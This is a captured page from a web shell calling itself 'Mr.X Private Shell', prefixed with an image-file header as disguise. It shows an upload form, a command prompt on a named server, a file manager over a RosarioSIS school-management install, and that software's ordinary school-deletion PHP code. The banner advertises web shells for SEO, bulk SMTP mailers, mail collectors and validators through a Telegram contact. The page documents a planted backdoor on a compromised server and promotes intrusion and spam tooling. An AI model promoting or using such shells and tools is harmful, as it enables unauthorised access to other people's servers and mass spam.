����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eblama1@216.73.217.57: ~ $
<?php
/**
 * Schools functions
 *
 * @subpackage modules
 * @package RosarioSIS
 */

/**
 * School DELETE SQL queries
 *
 * @since 5.2
 *
 * @param int $school_id School ID.
 *
 * @return string School DELETE SQL queries.
 */
function SchoolDeleteSQL( $school_id )
{
	$school_id = intval( $school_id );

	$delete_sql = "DELETE FROM school_gradelevels WHERE SCHOOL_ID='" . (int) $school_id . "';";

	$delete_sql .= "DELETE FROM attendance_calendar WHERE SCHOOL_ID='" . (int) $school_id . "';";

	$delete_sql .= "DELETE FROM attendance_calendars WHERE SCHOOL_ID='" . (int) $school_id . "';";

	$delete_sql .= "DELETE FROM attendance_codes WHERE SCHOOL_ID='" . (int) $school_id . "';";

	$delete_sql .= "DELETE FROM school_periods WHERE SCHOOL_ID='" . (int) $school_id . "';";

	$delete_sql .= "DELETE FROM school_marking_periods WHERE SCHOOL_ID='" . (int) $school_id . "';";

	$delete_sql .= "DELETE FROM eligibility_activities WHERE SCHOOL_ID='" . (int) $school_id . "';";

	$delete_sql .= "DELETE FROM report_card_comments WHERE SCHOOL_ID='" . (int) $school_id . "';";

	$delete_sql .= "DELETE FROM report_card_grade_scales WHERE SCHOOL_ID='" . (int) $school_id . "';";

	$delete_sql .= "DELETE FROM report_card_grades WHERE SCHOOL_ID='" . (int) $school_id . "';";

	$delete_sql .= "DELETE FROM discipline_field_usage WHERE SCHOOL_ID='" . (int) $school_id . "';";

	$delete_sql .= "UPDATE staff SET CURRENT_SCHOOL_ID=NULL WHERE CURRENT_SCHOOL_ID='" . (int) $school_id . "';";

	$delete_sql .= "UPDATE staff SET SCHOOLS=REPLACE(SCHOOLS,'," . $school_id . ",',',');";

	$delete_sql .= "DELETE FROM config WHERE SCHOOL_ID='" . (int) $school_id . "';";

	$delete_sql .= "DELETE FROM program_config WHERE SCHOOL_ID='" . (int) $school_id . "';";

	// Fix SQL error when Parent have students enrolled in deleted school.
	$delete_sql .= "DELETE FROM students_join_users WHERE STUDENT_ID IN(SELECT STUDENT_ID
		FROM student_enrollment
		WHERE SCHOOL_ID='" . (int) $school_id . "'
		AND ('" . DBDate() . "'<=END_DATE OR END_DATE IS NULL ) );";

	$delete_sql .= "DELETE FROM schools WHERE ID='" . (int) $school_id . "';";

	return $delete_sql;
}

Filemanager

Name Type Size Permission Actions
Addon.fnc.php File 3.16 KB 0644
CalendarDay.inc.php File 9.18 KB 0644
Dashboard.inc.php File 1.92 KB 0644
DayToNumber.inc.php File 1.8 KB 0644
MarkingPeriods.fnc.php File 1.19 KB 0644
Modules.inc.php File 11.13 KB 0644
Plugins.inc.php File 11.83 KB 0644
Rollover.fnc.php File 8.43 KB 0644
Schools.fnc.php File 2.08 KB 0644